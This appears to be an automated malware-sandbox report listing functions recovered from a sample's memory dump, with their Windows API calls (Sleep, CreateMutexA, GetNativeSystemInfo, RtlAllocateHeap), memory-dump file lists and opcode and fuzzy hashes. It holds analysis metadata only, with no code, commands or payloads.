Opcode Fuzzy Hash: 027ddd1e5f81b0060b3a44561adc2058fd5f270c9ee552c3d6393a60b8f09459
Instruction Fuzzy Hash: 1C312AB17001089BEB18ABB8DCC5BBDB7B2DB96310F248258F618D73D1C77559808662

Function 00AF9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AFA963
CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981

Strings

jj, xrefs: 00AFA97D

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: jj
API String ID: 1464230837-138750426
Opcode ID: 2e82156267f9ba182ffdc428408c8ad62d468f27eaedd83718a955657e6f7235
Instruction ID: ba19f892692441c290c3dd6997ec5f9f8079e01320c9b02a73c656aa32edbdef
Opcode Fuzzy Hash: 2e82156267f9ba182ffdc428408c8ad62d468f27eaedd83718a955657e6f7235
Instruction Fuzzy Hash: 38213A717042049BFB18ABA8ECC577DB7A1EBD2310F244269F608877D5DBB659808611

Function 00AFA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AFA963
CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981

Strings

jj, xrefs: 00AFA97D

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: jj
API String ID: 1464230837-138750426
Opcode ID: 2e789d9271f7cb27c519c6cd51dcb2df474ef12afbd86809a83c4964ae72178e
Instruction ID: 6a7b0966abd1694e77caad7137198cfc9bc6cf23e4e5280b5511fed2759d0de9
Opcode Fuzzy Hash: 2e789d9271f7cb27c519c6cd51dcb2df474ef12afbd86809a83c4964ae72178e
Instruction Fuzzy Hash: B42148B13442099AFB2467E8D8D67BDB6A1DF91700F2448A6F30CD72D1CEB6498181A3

Function 00AFA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AFA963
CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981

Strings

jj, xrefs: 00AFA97D

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: jj
API String ID: 1464230837-138750426
Opcode ID: fc6981ad716f00b318f8b5885e010378e984a9fbed022b7b6f9d46c76d5604fa
Instruction ID: 0a9ebf5a9f5a59c6c97a78c340867dd5855cf564c86173ad7ca4dbb3624a6804
Opcode Fuzzy Hash: fc6981ad716f00b318f8b5885e010378e984a9fbed022b7b6f9d46c76d5604fa
Instruction Fuzzy Hash: EF214F727042049BF7189BA8ECC57BCB7B1DBE2311F244269F60CDB7D0C77656808262

Function 00AF7D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00AF7ED3

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: f3ec3cd8dd370c5d989675a99995240e4c5a8a26a39632acc8ef41a152561d41
Instruction ID: 3a6950f031e8691d04c5b6777afbb743bb21f12b16691c8bb4ce5fd8ae9b6128
Opcode Fuzzy Hash: f3ec3cd8dd370c5d989675a99995240e4c5a8a26a39632acc8ef41a152561d41
Instruction Fuzzy Hash: 69E1F871E002489BDB14BBA8CD0B3AD7BA1AB42710F9402DCF9156B3D2DF355E858BC2

Function 00B2D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00B2A813,00000001,00000364,00000006,000000FF,?,00B2EE3F,?,00000004,00000000,?,?), ref: 00B2D871

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 3ef8f61ea7191ef7dd4d347bf584190232828eec301ddcce8e4361928739d97b
Instruction ID: 50bb4e37a3273f48f47f3ac35a750763811b5bae4d5d6b42059991ddf75cf421
Opcode Fuzzy Hash: 3ef8f61ea7191ef7dd4d347bf584190232828eec301ddcce8e4361928739d97b
Instruction Fuzzy Hash: 0EF0E23260123466FB212A72BC01A6B77D8DF853B0F1981E1ED0CAF181DE20DC0086E0

